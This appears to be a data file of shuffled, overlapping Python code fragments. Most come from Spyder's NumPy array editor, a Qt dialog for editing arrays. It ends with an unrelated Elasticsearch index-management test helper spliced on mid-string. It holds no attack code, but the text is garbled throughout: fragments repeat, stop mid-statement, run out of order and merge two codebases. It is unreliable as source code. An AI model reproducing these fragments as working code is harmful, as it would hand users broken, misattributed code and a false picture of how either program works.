Editor Item Delegate\"\"\"", "if data is not supported, True otherwise \"\"\" self.data =", "col_min == 0 and col_max == (self.model().cols_loaded-1): # we've selected", "row number\"\"\" if self.total_rows <= self.rows_loaded: return self.total_rows else: return", "model.setData(index, to_qvariant(value)) return elif value is not np.ma.masked: editor =", "QHBoxLayout() btn_layout.setAlignment(Qt.AlignLeft) btn = QPushButton(_( \"Format\")) # disable format button", "return is_float(dtype) or ('int' in dtype.name) or ('long' in dtype.name)", "Contributors # Licensed under the terms of the MIT License", "= None self.stack = None self.layout = None self.btn_save_and_close =", "value is currently 0 it does not emit # currentIndexChanged(int)", "btn_layout.addWidget(self.btn_save_and_close) self.btn_close = QPushButton(_('Close')) self.btn_close.setAutoDefault(True) self.btn_close.setDefault(True) self.btn_close.clicked.connect(self.reject) btn_layout.addWidget(self.btn_close) self.layout.addLayout(btn_layout, 2,", "def data(self, index, role=Qt.DisplayRole): \"\"\"Cell content\"\"\" if not index.isValid(): return", "if data.dtype in (np.complex64, np.complex128): self.color_func = np.abs else: self.color_func", "= format self.reset() def columnCount(self, qindex=QModelIndex()): \"\"\"Array column number\"\"\" if", "def rowCount(self, qindex=QModelIndex()): \"\"\"Array row number\"\"\" if self.total_rows <= self.rows_loaded:", "btn_layout.addWidget(ra_combo) if is_masked_array: label = QLabel(_(\"<u>Warning</u>: changes are applied separately\"))", "= .6 # Alpha-channel self._data = data self._format = format", "or ('int' in dtype.name) or ('long' in dtype.name) \\ or", "False i = index.row() j = index.column() value = from_qvariant(value,", "format self.reset() def columnCount(self, qindex=QModelIndex()): \"\"\"Array column number\"\"\" if self.total_cols", "if not val.imag: val = val.real except ValueError as e:", "Editor Item Delegate\"\"\" def __init__(self, dtype, parent=None): QItemDelegate.__init__(self, parent) self.dtype", "if self.old_data_shape is not None: self.data.shape = self.old_data_shape def reject_changes(self):", "method\"\"\" for index in range(self.stack.count()): self.stack.widget(index).accept_changes() QDialog.accept(self) def get_value(self): \"\"\"Return", "val = to_binary_string(value, 'utf8') elif dtype.startswith(\"unicode\") or dtype.startswith(\"str\"): val =", "= self.model().rows_loaded-1 left = part.left() right = part.right() if (old_cols_loaded", "data readonly = readonly or not self.data.flags.writeable is_record_array = data.dtype.names", "str(e)) # spyder: test-skip QMessageBox.critical(self.dialog, \"Error\", \"Overflow error: %s\" %", "display format\"\"\" self._format = format self.reset() def columnCount(self, qindex=QModelIndex()): \"\"\"Array", "+ ') ') % self.data.shape) if self.index_spin.value() != 0: self.index_spin.setValue(0)", "dtype def createEditor(self, parent, option, index): \"\"\"Create editor widget\"\"\" model", "('short' in dtype.name) def get_idx_rect(index_list): \"\"\"Extract the boundaries from a", "'uint16': '%d', 'uint32': '%d', 'uint64': '%d', 'bool_': '%r', 'bool8': '%r',", "self.vmax == self.vmin: self.vmin -= 1 self.hue0 = huerange[0] self.dhue", "'%d', 'int16': '%d', 'int32': '%d', 'int64': '%d', 'ubyte': '%d', 'ushort':", "are currently not supported\") % arr) return False self.layout =", "\"\"\" string_index = [':']*3 string_index[self.last_dim] = '<font color=red>%i</font>' self.slicing_label.setText((r\"Slicing: [\"", "= 5e5 LARGE_NROWS = 1e5 LARGE_COLS = 60 #============================================================================== #", "accept(self): \"\"\"Reimplement Qt method\"\"\" for index in range(self.stack.count()): self.stack.widget(index).accept_changes() QDialog.accept(self)", "keyPressEvent(self, event): \"\"\"Reimplement Qt method\"\"\" if event == QKeySequence.Copy: self.copy()", "the MIT License # (see spyder/__init__.py for details) \"\"\" NumPy", "data, format=\"%.6g\", xlabels=None, ylabels=None, readonly=False, parent=None): QAbstractTableModel.__init__(self) self.dialog = parent", "is_masked_array: label = QLabel(_(\"<u>Warning</u>: changes are applied separately\")) label.setToolTip(_(\"For performance", "# Utility functions #============================================================================== def is_float(dtype): \"\"\"Return True if datatype", "(from clipboard) feature class ArrayView(QTableView): \"\"\"Array view class\"\"\" def __init__(self,", "rows=False, columns=False): try: old_selection = self.selectionModel().selection() old_rows_loaded = old_cols_loaded =", "col_min, col_max = get_idx_rect(cell_range) if col_min == 0 and col_max", "[slice(None)]*3 slice_index[self.last_dim] = data_index stack_index = self.dim_indexes[self.last_dim].get(data_index) if stack_index is", "= [] for name in data.dtype.names: field = data.dtype.fields[name] text", "try: hue = (self.hue0 + self.dhue * (float(self.vmax) - self.color_func(value))", "get_value(self, index): i = index.row() j = index.column() if len(self._data.shape)", "== Qt.FontRole: return to_qvariant(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) return to_qvariant() def setData(self, index, value,", "event): \"\"\"Reimplement Qt method\"\"\" if event == QKeySequence.Copy: self.copy() else:", "selected (so expand it to match # updated range) bottom", "Project Contributors # Licensed under the terms of the MIT", "shading will be based on absolute value # but for", "if is_binary_string(value): try: value = to_text_string(value, 'utf8') except: pass if", "# already been destroyed, due to the Qt.WA_DeleteOnClose attribute return", "= io.BytesIO() else: output = io.StringIO() try: np.savetxt(output, _data[row_min:row_max+1, col_min:col_max+1],", "QItemSelectionRange(top_left, bottom_right) new_selection.append(part) self.selectionModel().select (new_selection, self.selectionModel().ClearAndSelect) except NameError: # Needed", "None: self.data.shape = self.old_data_shape def reject_changes(self): \"\"\"Reject changes\"\"\" if self.old_data_shape", "# Avoid accessing the private attribute _format from outside return", "validator.setLocale(QLocale('C')) editor.setValidator(validator) editor.returnPressed.connect(self.commitAndCloseEditor) return editor def commitAndCloseEditor(self): \"\"\"Commit and close", "event) def _sel_to_text(self, cell_range): \"\"\"Copy an array portion to a", "'%.6g', 'double': '%.6g', 'float_': '%.6g', 'longfloat': '%.6g', 'float16': '%.6g', 'float32':", "name in data.dtype.names: self.stack.addWidget(ArrayEditorWidget(self, data[name], readonly, xlabels, ylabels)) elif is_masked_array:", "'clongfloat': '%r', 'complex64': '%r', 'complex128': '%r', 'complex192': '%r', 'complex256': '%r',", "QMessageBox.warning(self, _(\"Warning\"), _(\"It was not possible to copy values for", "to_qvariant(self._format % value) except TypeError: self.readonly = True return repr(value)", "1 self.hue0 = huerange[0] self.dhue = huerange[1]-huerange[0] self.bgcolor_enabled = True", "parent) self.setModel(model) self.setItemDelegate(ArrayDelegate(dtype, self)) total_width = 0 for k in", "= QStackedWidget(self) if is_record_array: for name in data.dtype.names: self.stack.addWidget(ArrayEditorWidget(self, data[name],", "for i in index_list])) return ( min(rows), max(rows), min(cols), max(cols)", "\" + str(e)) # spyder: test-skip QMessageBox.critical(self.dialog, \"Error\", \"Overflow error:", "self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.data, readonly, xlabels, ylabels))", "self.cols_loaded: return True else: return False def fetch_more(self, rows=False, columns=False):", "Qt.DisplayRole: return to_qvariant() labels = self.xlabels if orientation == Qt.Horizontal", "QApplication.setOverrideCursor(QCursor(Qt.WaitCursor)) self.resizeColumnsToContents() self.model().fetch_more(columns=True) self.resizeColumnsToContents() QApplication.restoreOverrideCursor() def setup_menu(self): \"\"\"Setup context menu\"\"\"", "'complex_': '%r', 'clongfloat': '%r', 'complex64': '%r', 'complex128': '%r', 'complex192': '%r',", "ra_combo = QComboBox(self) ra_combo.addItems(names) ra_combo.currentIndexChanged.connect(self.current_dim_changed) # Adding the widgets to", "QPushButton(_('Close')) self.btn_close.setAutoDefault(True) self.btn_close.setDefault(True) self.btn_close.clicked.connect(self.reject) btn_layout.addWidget(self.btn_close) self.layout.addLayout(btn_layout, 2, 0) self.setMinimumSize(400, 300)", "to_qvariant() value = self.get_value(index) if is_binary_string(value): try: value = to_text_string(value,", "list(zip(*[(i.row(), i.column()) for i in index_list])) return ( min(rows), max(rows),", "return ('float' in dtype.name) or dtype.name in ['single', 'double'] def", "output = io.BytesIO() else: output = io.StringIO() try: np.savetxt(output, _data[row_min:row_max+1,", "data is not supported, True otherwise \"\"\" self.data = data", "context menu\"\"\" self.copy_action = create_action(self, _('Copy'), shortcut=keybinding('Copy'), icon=ima.icon('editcopy'), triggered=self.copy, context=Qt.WidgetShortcut)", "\"\"\" NumPy Array Editor Dialog based on Qt \"\"\" #", "occured, closing the dialog box\"\"\" QMessageBox.critical(self, _(\"Array editor\"), message) self.setAttribute(Qt.WA_DeleteOnClose)", "reminder = self.total_cols - self.cols_loaded items_to_fetch = min(reminder, self.COLS_TO_LOAD) self.beginInsertColumns(QModelIndex(),", "utf-8 -*- # # Copyright © Spyder Project Contributors #", "ArrayView(QTableView): \"\"\"Array view class\"\"\" def __init__(self, parent, model, dtype, shape):", "array -- this is *not* a copy\"\"\" # It is", "and value == self.verticalScrollBar().maximum(): old_rows_loaded = self.model().rows_loaded self.model().fetch_more(rows=rows) if columns", "== 0 and col_max == (self.model().cols_loaded-1): # we've selected a", "= to_binary_string(value, 'utf8') elif dtype.startswith(\"unicode\") or dtype.startswith(\"str\"): val = to_text_string(value)", "Third party imports from qtpy.compat import from_qvariant, to_qvariant from qtpy.QtCore", "names = [] for name in data.dtype.names: field = data.dtype.fields[name]", "dtype.startswith(\"string\") or dtype.startswith(\"bytes\"): val = to_binary_string(value, 'utf8') elif dtype.startswith(\"unicode\") or", "names = [str(i) for i in range(3)] ra_combo = QComboBox(self)", "other types it will be the real part if data.dtype", "value won't be changed # but at least Spyder won't", "© Spyder Project Contributors # Licensed under the terms of", "to_text_string) from spyder.utils import icon_manager as ima from spyder.utils.qthelpers import", "is incorrect\") % format) return self.model.set_format(format) class ArrayEditor(QDialog): \"\"\"Array Editor", "with more than 3 dimensions are not \" \"supported\")) return", "widget's data\"\"\" text = from_qvariant(index.model().data(index, Qt.DisplayRole), str) editor.setText(text) #TODO: Implement", "self.btn_save_and_close.setDisabled(True) self.btn_save_and_close.clicked.connect(self.accept) btn_layout.addWidget(self.btn_save_and_close) self.btn_close = QPushButton(_('Close')) self.btn_close.setAutoDefault(True) self.btn_close.setDefault(True) self.btn_close.clicked.connect(self.reject) btn_layout.addWidget(self.btn_close)", "QMessageBox.critical(self, _(\"Array editor\"), message) self.setAttribute(Qt.WA_DeleteOnClose) self.reject() @Slot() def reject(self): \"\"\"Reimplement", "'%.6g', 'float_': '%.6g', 'longfloat': '%.6g', 'float16': '%.6g', 'float32': '%.6g', 'float64':", "and not dtn.startswith('unicode'): arr = _(\"%s arrays\") % data.dtype.name self.error(_(\"%s", "if old_rows_loaded is not None or old_cols_loaded is not None:", "the active axis the array editor is plotting over in", "> 3: self.error(_(\"Arrays with more than 3 dimensions are not", "'%.6g', 'longfloat': '%.6g', 'float16': '%.6g', 'float32': '%.6g', 'float64': '%.6g', 'float96':", "or self.readonly: return False i = index.row() j = index.column()", "# (e.g. the editor's analysis thread in Spyder), thus leading", "Backgroundcolor settings huerange = [.66, .99] # Hue self.sat =", "+ self.dhue * (float(self.vmax) - self.color_func(value)) / (float(self.vmax) - self.vmin))", "dtype=data.dtype) # for complex numbers, shading will be based on", "\" \"this array\")) return contents = output.getvalue().decode('utf-8') output.close() return contents", "for i in range(3)] ra_combo = QComboBox(self) ra_combo.addItems(names) ra_combo.currentIndexChanged.connect(self.current_dim_changed) #", "not readonly: self.btn_save_and_close = QPushButton(_('Save and Close')) self.btn_save_and_close.setDisabled(True) self.btn_save_and_close.clicked.connect(self.accept) btn_layout.addWidget(self.btn_save_and_close)", "# Stack widget self.stack = QStackedWidget(self) if is_record_array: for name", "= QSpinBox(self, keyboardTracking=False) self.index_spin.valueChanged.connect(self.change_active_widget) # QComboBox names = [str(i) for", "(self.model().cols_loaded-1): # we've selected a whole column. It isn't possible", "orientation == Qt.Horizontal else self.ylabels if labels is None: return", "new_selection = QItemSelection() for part in old_selection: top = part.top()", "self.can_fetch_more(rows=rows): reminder = self.total_rows - self.rows_loaded items_to_fetch = min(reminder, self.ROWS_TO_LOAD)", "= self.ROWS_TO_LOAD self.cols_loaded = self.COLS_TO_LOAD else: if self.total_rows > LARGE_NROWS:", "if len(self.data.shape) == 1: self.old_data_shape = self.data.shape self.data.shape = (self.data.shape[0],", "None if rows and value == self.verticalScrollBar().maximum(): old_rows_loaded = self.model().rows_loaded", "not index.isValid(): return Qt.ItemIsEnabled return Qt.ItemFlags(QAbstractTableModel.flags(self, index)| Qt.ItemIsEditable) def headerData(self,", "QWidget) import numpy as np # Local imports from spyder.config.base", "{}, {}] self.last_dim = 0 # Adjust this for changing", "self.total_cols - self.cols_loaded items_to_fetch = min(reminder, self.COLS_TO_LOAD) self.beginInsertColumns(QModelIndex(), self.cols_loaded, self.cols_loaded", "qtpy.QtWidgets import (QAbstractItemDelegate, QApplication, QCheckBox, QComboBox, QDialog, QDialogButtonBox, QGridLayout, QHBoxLayout,", "coding: utf-8 -*- # # Copyright © Spyder Project Contributors", "= self.data.shape self.data.shape = (self.data.shape[0], 1) elif len(self.data.shape) == 0:", "index): \"\"\" This change the active axis the array editor", "'uintp': '%d', 'uint8': '%d', 'uint16': '%d', 'uint32': '%d', 'uint64': '%d',", "won't be reflected in \"\\ \"array's data (and vice-versa).\")) btn_layout.addWidget(label)", "reflected in \"\\ \"array's data (and vice-versa).\")) btn_layout.addWidget(label) btn_layout.addStretch() if", "been destroyed, due to the Qt.WA_DeleteOnClose attribute return self.data def", "Array Editor Dialog based on Qt \"\"\" # pylint: disable=C0103", "not in SUPPORTED_FORMATS and not dtn.startswith('str') \\ and not dtn.startswith('unicode'):", "self.cols_loaded = self.COLS_TO_LOAD else: if self.total_rows > LARGE_NROWS: self.rows_loaded =", "QDialog.__init__(self, parent) # Destroying the C++ object right after closing", "self.ROWS_TO_LOAD self.cols_loaded = self.COLS_TO_LOAD else: if self.total_rows > LARGE_NROWS: self.rows_loaded", "parent) self.data = data self.old_data_shape = None if len(self.data.shape) ==", "self.resize(600, 500) # Stack widget self.stack = QStackedWidget(self) if is_record_array:", "self._data[i, j] return self.changes.get((i, j), value) def data(self, index, role=Qt.DisplayRole):", "60 #============================================================================== # Utility functions #============================================================================== def is_float(dtype): \"\"\"Return True", "current_dim_changed(self, index): \"\"\" This change the active axis the array", "self.old_data_shape = None if len(self.data.shape) == 1: self.old_data_shape = self.data.shape", "it to match # updated range) bottom = self.model().rows_loaded-1 left", "None and top == 0 and bottom == (old_rows_loaded-1)): #", "number\")) return False if ylabels is not None and len(ylabels)", "if self.total_rows <= self.rows_loaded: return self.total_rows else: return self.rows_loaded def", "size = self.total_rows * self.total_cols try: self.vmin = np.nanmin(self.color_func(data)) self.vmax", "error: %s\" % str(e)) return False try: self.test_array[0] = val", "title = to_text_string(title) + \" - \" + _(\"NumPy array\")", "= [_('Masked data'), _('Data'), _('Mask')] if data.ndim == 3: #", "0 and right == (old_cols_loaded-1)): # compete row selected (so", "See isue 7880 pass def resize_to_contents(self): \"\"\"Resize cells to contents\"\"\"", "> LARGE_SIZE: self.rows_loaded = self.ROWS_TO_LOAD self.cols_loaded = self.COLS_TO_LOAD else: if", "loading more, # so we can treat it as intentional", "in range(shape[1]): total_width += self.columnWidth(k) self.viewport().resize(min(total_width, 1024), self.height()) self.shape =", "self.btn_close.setAutoDefault(True) self.btn_close.setDefault(True) self.btn_close.clicked.connect(self.reject) btn_layout.addWidget(self.btn_close) self.layout.addLayout(btn_layout, 2, 0) self.setMinimumSize(400, 300) #", "'%r', 'byte': '%d', 'bytes8': '%s', 'short': '%d', 'intc': '%d', 'int_':", "in (np.complex64, np.complex128): self.color_func = np.abs else: self.color_func = np.real", "test-skip QMessageBox.critical(self.dialog, \"Error\", \"Overflow error: %s\" % str(e)) return False", "'%d', 'bool_': '%r', 'bool8': '%r', 'bool': '%r', } LARGE_SIZE =", "done since if the value is currently 0 it does", "change to self.changes self.changes[(i, j)] = val self.dataChanged.emit(index, index) if", "def error(self, message): \"\"\"An error occured, closing the dialog box\"\"\"", "np.ma.MaskedArray) if data.ndim > 3: self.error(_(\"Arrays with more than 3", "= QPushButton(_( \"Resize\")) btn_layout.addWidget(btn) btn.clicked.connect(self.view.resize_to_contents) bgcolor = QCheckBox(_( 'Background color'))", "# but for all other types it will be the", "*not* a copy\"\"\" # It is import to avoid accessing", "bottom = part.bottom() if (old_rows_loaded is not None and top", "# so we can treat it as intentional and copy", "can_fetch_more(self, rows=False, columns=False): if rows: if self.total_rows > self.rows_loaded: return", "i = index.row() j = index.column() value = from_qvariant(value, str)", "1: value = self._data[j] else: value = self._data[i, j] return", "readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.mask, readonly, xlabels, ylabels)) elif data.ndim", "slice_index[self.last_dim] = data_index stack_index = self.dim_indexes[self.last_dim].get(data_index) if stack_index is None:", "get_idx_rect(cell_range) if col_min == 0 and col_max == (self.model().cols_loaded-1): #", "else: return self.rows_loaded def can_fetch_more(self, rows=False, columns=False): if rows: if", "except OverflowError as e: print(\"OverflowError: \" + str(e)) # spyder:", "qindex=QModelIndex()): \"\"\"Array row number\"\"\" if self.total_rows <= self.rows_loaded: return self.total_rows", "if model._data.dtype.name == \"bool\": value = not value model.setData(index, to_qvariant(value))", "row_max == (self.model().rows_loaded-1): row_max = self.model().total_rows-1 _data = self.model().get_data() if", "#============================================================================== def is_float(dtype): \"\"\"Return True if datatype dtype is a", "col_min:col_max+1], delimiter='\\t', fmt=self.model().get_format()) except: QMessageBox.warning(self, _(\"Warning\"), _(\"It was not possible", "to_qvariant() elif role == Qt.FontRole: return to_qvariant(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) return to_qvariant() def", "import QColor, QCursor, QDoubleValidator, QKeySequence from qtpy.QtWidgets import (QAbstractItemDelegate, QApplication,", "QApplication, QCheckBox, QComboBox, QDialog, QDialogButtonBox, QGridLayout, QHBoxLayout, QInputDialog, QItemDelegate, QLabel,", "qtpy.QtCore import (QAbstractTableModel, QItemSelection, QLocale, QItemSelectionRange, QModelIndex, Qt, Slot) from", "at least Spyder won't crash. It seems generated by a", "to_qvariant(color) except TypeError: return to_qvariant() elif role == Qt.FontRole: return", "QTableView.__init__(self, parent) self.setModel(model) self.setItemDelegate(ArrayDelegate(dtype, self)) total_width = 0 for k", "- 1) self.rows_loaded += items_to_fetch self.endInsertRows() if self.can_fetch_more(columns=columns): reminder =", "only the first part of a column without loading more,", "class ArrayEditorWidget(QWidget): def __init__(self, parent, data, readonly=False, xlabels=None, ylabels=None): QWidget.__init__(self,", "/ (float(self.vmax) - self.vmin)) hue = float(np.abs(hue)) color = QColor.fromHsvF(hue,", "'ulonglong': '%d', 'uintp': '%d', 'uint8': '%d', 'uint16': '%d', 'uint32': '%d',", "return repr(value) elif role == Qt.TextAlignmentRole: return to_qvariant(int(Qt.AlignCenter|Qt.AlignVCenter)) elif role", "is_string, is_text_string, PY3, to_binary_string, to_text_string) from spyder.utils import icon_manager as", "value, role=Qt.EditRole): \"\"\"Cell content change\"\"\" if not index.isValid() or self.readonly:", "# Alpha-channel self._data = data self._format = format self.total_rows =", "self.menu.popup(event.globalPos()) event.accept() def keyPressEvent(self, event): \"\"\"Reimplement Qt method\"\"\" if event", "button for int type btn.setEnabled(is_float(data.dtype)) btn_layout.addWidget(btn) btn.clicked.connect(self.change_format) btn = QPushButton(_(", "give the same behavior as slicing \"\"\" string_index = [':']*3", "feature class ArrayView(QTableView): \"\"\"Array view class\"\"\" def __init__(self, parent, model,", "def __init__(self, parent, data, readonly=False, xlabels=None, ylabels=None): QWidget.__init__(self, parent) self.data", "# a segmentation fault on UNIX or an application crash", "'bool': '%r', } LARGE_SIZE = 5e5 LARGE_NROWS = 1e5 LARGE_COLS", "== Qt.TextAlignmentRole: return to_qvariant(int(Qt.AlignCenter|Qt.AlignVCenter)) elif role == Qt.BackgroundColorRole and self.bgcolor_enabled", "data (and vice-versa).\")) btn_layout.addWidget(label) btn_layout.addStretch() if not readonly: self.btn_save_and_close =", "the private attribute _format from outside return self._format def get_data(self):", "not None and left == 0 and right == (old_cols_loaded-1)):", "editor\") if readonly: title += ' (' + _('read only')", "= complex(value) if not val.imag: val = val.real except ValueError", "LARGE_NROWS: self.rows_loaded = self.ROWS_TO_LOAD else: self.rows_loaded = self.total_rows if self.total_cols", "self.data.flags.writeable is_record_array = data.dtype.names is not None is_masked_array = isinstance(data,", "ylabels)) elif is_masked_array: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels)) self.stack.addWidget(ArrayEditorWidget(self, data.data,", "QMessageBox.critical(self.dialog, \"Error\", \"Overflow error: %s\" % str(e)) return False #", "self.old_data_shape def change_format(self): \"\"\"Change display format\"\"\" format, valid = QInputDialog.getText(self,", "val: self.load_more_data(val, columns=True)) self.verticalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val, rows=True)) def load_more_data(self,", "for 3d arrays, to give the same behavior as slicing", "self.dhue = None self.bgcolor_enabled = False # Use paging when", "index < 0: data_index = self.data.shape[self.last_dim] + index else: data_index", "editor def commitAndCloseEditor(self): \"\"\"Commit and close editor\"\"\" editor = self.sender()", "== 3: if is_record_array: btn_layout.addWidget(QLabel(_(\"Record array fields:\"))) names = []", "= self._sel_to_text( self.selectedIndexes() ) clipboard = QApplication.clipboard() clipboard.setText(cliptxt) class ArrayEditorWidget(QWidget):", "np.real # Backgroundcolor settings huerange = [.66, .99] # Hue", "commitAndCloseEditor(self): \"\"\"Commit and close editor\"\"\" editor = self.sender() # Avoid", "if datatype dtype is a float kind\"\"\" return ('float' in", "is not supported, True otherwise \"\"\" self.data = data readonly", "self.total_cols try: self.vmin = np.nanmin(self.color_func(data)) self.vmax = np.nanmax(self.color_func(data)) if self.vmax", "not dtn.startswith('str') \\ and not dtn.startswith('unicode'): arr = _(\"%s arrays\")", "index.row() j = index.column() if len(self._data.shape) == 1: value =", "QDialogButtonBox, QGridLayout, QHBoxLayout, QInputDialog, QItemDelegate, QLabel, QLineEdit, QMenu, QMessageBox, QPushButton,", "False if columns: if self.total_cols > self.cols_loaded: return True else:", "= { 'single': '%.6g', 'double': '%.6g', 'float_': '%.6g', 'longfloat': '%.6g',", "Alpha-channel self._data = data self._format = format self.total_rows = self._data.shape[0]", "self.vmin)) hue = float(np.abs(hue)) color = QColor.fromHsvF(hue, self.sat, self.val, self.alp)", "if valid: format = str(format) try: format % 1.1 except:", "= readonly or not self.data.flags.writeable is_record_array = data.dtype.names is not", "= (1, 1) format = SUPPORTED_FORMATS.get(data.dtype.name, '%s') self.model = ArrayModel(self.data,", "self.model().rows_loaded self.model().fetch_more(rows=rows) if columns and value == self.horizontalScrollBar().maximum(): old_cols_loaded =", "the widget to display when launched self.current_dim_changed(self.last_dim) else: ra_combo =", "= index string_size = ['%i']*3 string_size[index] = '<font color=red>%i</font>' self.shape_label.setText(('Shape:", "setEditorData(self, editor, index): \"\"\"Set editor widget's data\"\"\" text = from_qvariant(index.model().data(index,", "modified array -- this is *not* a copy\"\"\" # It", "= self.model().rows_loaded self.model().fetch_more(rows=rows) if columns and value == self.horizontalScrollBar().maximum(): old_cols_loaded", "(old_rows_loaded is not None and top == 0 and bottom", "== Qt.Horizontal else self.ylabels if labels is None: return to_qvariant(int(section))", "contextMenuEvent(self, event): \"\"\"Reimplement Qt method\"\"\" self.menu.popup(event.globalPos()) event.accept() def keyPressEvent(self, event):", "try: return to_qvariant(self._format % value) except TypeError: self.readonly = True", "3: self.error(_(\"Arrays with more than 3 dimensions are not \"", "self.stack.count() try: self.stack.addWidget(ArrayEditorWidget( self, self.data[tuple(slice_index)])) except IndexError: # Handle arrays", "is_string(val): if val > self.vmax: self.vmax = val if val", "btn_layout.addWidget(label) btn_layout.addWidget(self.index_spin) self.slicing_label = QLabel() btn_layout.addWidget(self.slicing_label) # set the widget", "QStackedWidget, QTableView, QVBoxLayout, QWidget) import numpy as np # Local", "# Saturation self.val = 1. # Value self.alp = .6", "'uint': '%d', 'ulonglong': '%d', 'uintp': '%d', 'uint8': '%d', 'uint16': '%d',", "'int_': '%d', 'longlong': '%d', 'intp': '%d', 'int8': '%d', 'int16': '%d',", "UNIX or an application crash on Windows self.setAttribute(Qt.WA_DeleteOnClose) self.data =", "role == Qt.FontRole: return to_qvariant(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) return to_qvariant() def setData(self, index,", "def headerData(self, section, orientation, role=Qt.DisplayRole): \"\"\"Set header data\"\"\" if role", "dtn.startswith('str') \\ and not dtn.startswith('unicode'): arr = _(\"%s arrays\") %", "large if size > LARGE_SIZE: self.rows_loaded = self.ROWS_TO_LOAD self.cols_loaded =", "val = value.lower() == \"true\" elif dtype.startswith(\"string\") or dtype.startswith(\"bytes\"): val", "Table Model\"\"\" ROWS_TO_LOAD = 500 COLS_TO_LOAD = 40 def __init__(self,", "self.btn_close.setDefault(True) self.btn_close.clicked.connect(self.reject) btn_layout.addWidget(self.btn_close) self.layout.addLayout(btn_layout, 2, 0) self.setMinimumSize(400, 300) # Make", "classes #============================================================================== class ArrayModel(QAbstractTableModel): \"\"\"Array Editor Table Model\"\"\" ROWS_TO_LOAD =", "None: return to_qvariant(int(section)) else: return to_qvariant(labels[section]) def reset(self): self.beginResetModel() self.endResetModel()", "if not index.isValid(): return to_qvariant() value = self.get_value(index) if is_binary_string(value):", "= ylabels self.readonly = readonly self.test_array = np.array([0], dtype=data.dtype) #" ]
[ "= self._client.transport.perform_request('GET', '/_alias/' + alias) assert name in resp assert", "pattern = self.default_pattern() name = alias + \"-\" + pattern", "indices=[], policies=[]): indices = list([x for x in indices if", "alias): resp = self._client.transport.perform_request('GET', '/_alias') for name, entry in resp.items():", "template): resp = self._client.transport.perform_request('GET', '/_template/' + template) assert template in", "assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_size\"] == \"50gb\" assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_age\"] == \"30d\" def assert_docs_written_to_alias(self,", "template): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_template/' + template) def assert_index_template_loaded(self, template):", "def delete_template(self, template=\"\"): if self.needs_init(template): template = self._index try: self._client.transport.perform_request('DELETE',", "data = self._client.transport.perform_request('GET', '/' + name + '/_search') self.assertGreater(data[\"hits\"][\"total\"][\"value\"], 0)", "+ name + '/_search') self.assertGreater(data[\"hits\"][\"total\"][\"value\"], 0) def default_pattern(self): d =", "starting with given policy policies = self._client.transport.perform_request('GET', \"/_ilm/policy\") for p,", "\"/_ilm/policy/\" + p) except NotFoundError: pass def assert_index_template_not_loaded(self, template): with", "in policies if x != '']: self.delete_policy(i) def delete_index_and_alias(self, index=\"\"):", "pass def delete_policy(self, policy): # Delete any existing policy starting", "'/_template/' + template) assert template in resp assert \"lifecycle\" not", "template in resp assert resp[template][\"index_patterns\"] == index_pattern def assert_alias_not_created(self, alias):", "def assert_index_template_loaded(self, template): resp = self._client.transport.perform_request('GET', '/_template/' + template) assert", "self._client = client self._index = index if index != ''", "self._client.transport.perform_request('DELETE', \"/_template/\" + template + \"*\") except NotFoundError: pass def", "name = alias + \"-\" + pattern data = self._client.transport.perform_request('GET',", "+ alias) assert name in resp assert resp[name][\"aliases\"][alias][\"is_write_index\"] == True", "indices to guarantee all documents are available # through the", "NotFoundError: pass def delete_policy(self, policy): # Delete any existing policy", "def assert_ilm_template_loaded(self, template, policy, alias): resp = self._client.transport.perform_request('GET', '/_template/' +", "client, index): self._client = client self._index = index if index", "assert_docs_written_to_alias(self, alias, pattern=None): # Refresh the indices to guarantee all", "assert_policy_not_created(self, policy): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) def assert_policy_created(self,", "alias not in name: continue assert entry[\"aliases\"] == {}, entry[\"aliases\"]", "= self.default_pattern() name = alias + \"-\" + pattern resp", "\"50gb\" assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_age\"] == \"30d\" def assert_docs_written_to_alias(self, alias, pattern=None): #", "= alias + \"-\" + pattern data = self._client.transport.perform_request('GET', '/'", "given policy policies = self._client.transport.perform_request('GET', \"/_ilm/policy\") for p, _ in", "def assert_index_template_index_pattern(self, template, index_pattern): resp = self._client.transport.perform_request('GET', '/_template/' + template)", "self._index try: self._client.transport.perform_request('DELETE', \"/\" + index + \"*\") except NotFoundError:", "index=\"\"): if self.needs_init(index): index = self._index try: self._client.transport.perform_request('DELETE', \"/\" +", "policies = self._client.transport.perform_request('GET', \"/_ilm/policy\") for p, _ in policies.items(): if", "datetime.datetime.now().strftime(\"%Y.%m.%d\") return d + \"-000001\" def index_for(self, alias, pattern=None): if", "def assert_docs_written_to_alias(self, alias, pattern=None): # Refresh the indices to guarantee", "+ template) def assert_index_template_loaded(self, template): resp = self._client.transport.perform_request('GET', '/_template/' +", "'/_ilm/policy/' + policy) def assert_policy_created(self, policy): resp = self._client.transport.perform_request('GET', '/_ilm/policy/'", "class IdxMgmt(unittest.TestCase): def __init__(self, client, index): self._client = client self._index", "= self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) assert policy in resp assert", "= self._client.transport.perform_request('GET', '/' + name + '/_search') self.assertGreater(data[\"hits\"][\"total\"][\"value\"], 0) def", "assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_age\"] == \"30d\" def assert_docs_written_to_alias(self, alias, pattern=None): # Refresh", "def default_pattern(self): d = datetime.datetime.now().strftime(\"%Y.%m.%d\") return d + \"-000001\" def", "index != '' and index != '*' else 'mockbeat' def", "unittest import pytest from elasticsearch import NotFoundError class IdxMgmt(unittest.TestCase): def", "assert_index_template_loaded(self, template): resp = self._client.transport.perform_request('GET', '/_template/' + template) assert template", "resp assert resp[template][\"index_patterns\"] == index_pattern def assert_alias_not_created(self, alias): resp =", "!= '']) if not indices: indices == [self._index] for i", "policy assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"rollover_alias\"] == alias def 